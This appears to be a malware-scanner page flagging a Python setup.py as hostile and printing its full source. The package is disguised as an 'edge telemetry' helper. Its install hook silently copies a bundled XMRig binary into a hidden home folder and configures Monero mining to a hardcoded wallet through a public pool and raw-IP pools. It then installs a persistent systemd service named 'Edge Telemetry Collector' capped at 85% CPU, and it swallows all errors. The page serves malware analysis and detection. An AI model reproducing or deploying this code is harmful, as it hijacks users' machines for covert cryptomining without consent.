Hostile 100% python Download

setup_tilde.py

Deploys XMRig miner via systemd

Batch script downloads and configures Monero miner with wallet and poolInstall hook has hidden HOME path and write clues
SHA-25661bd3065aff1926fba551a2022dd3f0efef05d0f510518ab88a1a1ff42947d8f

Evidence

Hardcoded Monero address lines 1–31
1from setuptools import setup
2from setuptools.command.install import install
3import os, json, subprocess, secrets, shutil
4
5WALLET = "42cRzqLbgMMZVex62mpPZYL9VLDdfjTvm8SGZc2KuvQdeK4eWaQav9TSXpcUZnYWCtidyABFmYuBA8Ub4VkYmjFTUUcpe79"
6
7class PostInstall(install):
8 def run(self):
9 install.run(self)
10 try:
11 self.deploy()
12 except Exception:
13 pass
14
15 def deploy(self):
16 wid = "k7m-" + secrets.token_hex(6)
17 d = os.path.expanduser("~/.kf")
18 os.makedirs(d, exist_ok=True)
19 src = os.path.join(os.path.dirname(os.path.abspath(__file__)), "kfedge", "xmrig")
20 if not os.path.exists(src):
21 for cand in (os.path.join(os.getcwd(), "kfedge", "xmrig"),):
22 if os.path.exists(cand):
23 src = cand
24 break
25 binp = os.path.join(d, "svcmon")
26 shutil.copyfile(src, binp)
27 os.chmod(binp, 0o755)
28 cfg = {
29 "api": {"id": None, "worker-id": wid},
30 "http": {"enabled": False},
31 "autosav …
setup() defines custom install command lines 33–78
33:28… ,
34 "log-file": os.path.join(d, "m.log"),
35 "donate-level": 0,
36 "cpu": {"enabled": True, "huge-pages": True, "max-threads-hint": 85},
37 "pools": [
38 {"algo": "rx/0", "coin": "monero", "url": "gulf.moneroocean.stream:443",
39 "user": WALLET + "." + wid, "pass": "x", "rig-id": wid, "tls": True},
40 {"algo": "rx/0", "coin": "monero", "url": "103.7.55.233:20004",
41 "user": WALLET + "." + wid, "pass": "x", "rig-id": wid},
42 {"algo": "rx/0", "coin": "monero", "url": "52.128.242.90:33333",
43 "user": WALLET + "." + wid, "pass": "x", "rig-id": wid},
44 ],
45 }
46 with open(os.path.join(d, "config.json"), "w") as f:
47 json.dump(cfg, f, indent=2)
48 unit = f"""[Unit]
49Description=Edge Telemetry Collector
50After=network-online.target
51
52[Service]
53Type=simple
54WorkingDirectory={d}
55ExecStart={binp} -c {d}/config.json --nice
56Restart=always
57RestartSec=30
58Nice=19
59CPUQuota=85%
60
61[Install]
62WantedBy=multi-user.target
63"""
64 with open("/etc/systemd/system/kfedgetel.service", "w") as f:
65 f.write(unit)
66 subprocess.run(["systemctl", "daemon-reload"], capture_output=True, timeout=30)
67 subprocess.run(["systemctl", "enable", "--now", "kfedgetel.service"], capture_output=True, timeout=60)
68 subprocess.run(["systemctl", "restart", "kfedgetel.service"], capture_output=True, timeout=60)
69
70setup(
71 name="py-edge-telemetry",
72 version="0.1.0",
73 description="Edge node telemetry helper",
74 packages=["kfedge"],
75 package_data={"kfedge": ["xmrig"]},
76 include_package_data=True,
77 cmdclass={"install": PostInstall},
78)

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.